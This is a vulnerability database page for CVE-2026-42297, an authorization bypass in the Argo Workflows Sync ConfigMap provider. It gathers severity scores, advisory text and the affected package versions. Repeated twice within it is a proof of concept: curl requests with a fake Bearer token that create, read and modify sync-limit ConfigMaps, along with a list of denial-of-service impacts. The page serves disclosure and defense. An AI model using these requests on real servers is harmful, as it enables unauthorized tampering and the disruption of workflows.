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CVE-2026-42297

Argo Workflows Is Missing Authorization in Sync ConfigMap Provider

8.5 HighFix available

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
High
Availability
High

Exploit likelihood

0.52%Up 0.5 points since May 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.5

Argo Workflows Is Missing Authorization in Sync ConfigMap Provider

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

Record
CVE-2026-42297
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H
CVSS 3.1
8.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
Weakness
CWE-862, CWE-425
Updated
2026-11-02
EUVDEUVD-2026-28895 8.5

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

Record
EUVD-2026-28895
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-xchc-cqwg-g76q 8.5

Argo has Missing Authorization in its Sync ConfigMap Provider

Summary

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}
  • server/sync/sync_cm.go — lines 23-155
  • All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

  • Argo Server running with --auth-mode=server
  • Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default

NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

999

Impact

An attacker with network access to the Argo Server can:

  1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution
  2. Workflow Disruption — Modify existing sync limits to break running workflows
  3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration
  4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

  • CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check)
  • CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
Record
GHSA-xchc-cqwg-g76q
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H
Weakness
CWE-862
Updated
2026-11-02
NVD 8.5

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

Record
CVE-2026-42297
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
CVSS 3.1
8.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
Weakness
CWE-862, CWE-425
Updated
2026-11-02
OSV 8.5

Argo Workflows Is Missing Authorization in Sync ConfigMap Provider

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

Record
CVE-2026-42297
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H
Weakness
CWE-862
Updated
2026-11-02
OSVGHSA-xchc-cqwg-g76q 8.5

Argo has Missing Authorization in its Sync ConfigMap Provider

Summary

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}
  • server/sync/sync_cm.go — lines 23-155
  • All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

  • Argo Server running with --auth-mode=server
  • Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default

NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

999

Impact

An attacker with network access to the Argo Server can:

  1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution
  2. Workflow Disruption — Modify existing sync limits to break running workflows
  3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration
  4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

  • CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check)
  • CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
Record
GHSA-xchc-cqwg-g76q
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H
Weakness
CWE-862
Updated
2026-11-02
OSVBIT-argo-workflows-2026-42297 No score

Argo Workflows Is Missing Authorization in Sync ConfigMap Provider

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

Record
BIT-argo-workflows-2026-42297
Updated
2026-11-02
OSVGO-2026-5751 No score

Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows

Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows

Record
GO-2026-5751
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

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Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/argoproj/argo-workflows/v4
Go
 4.0.0 up to 4.0.5
4.0.5
argo-workflows
Bitnami
 4.0.0 up to 4.0.5
4.0.5
github.com/argoproj/argo-workflows
Go
 All versions None known
github.com/argoproj/argo-workflows/v2
Go
 All versions None known
github.com/argoproj/argo-workflows/v3
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
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In short

CVE-2026-42297 is a high vulnerability (CVSS 8.5) in Argoproj Argo Workflows, published May 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in github.com/argoproj/argo-workflows/v4 4.0.5.

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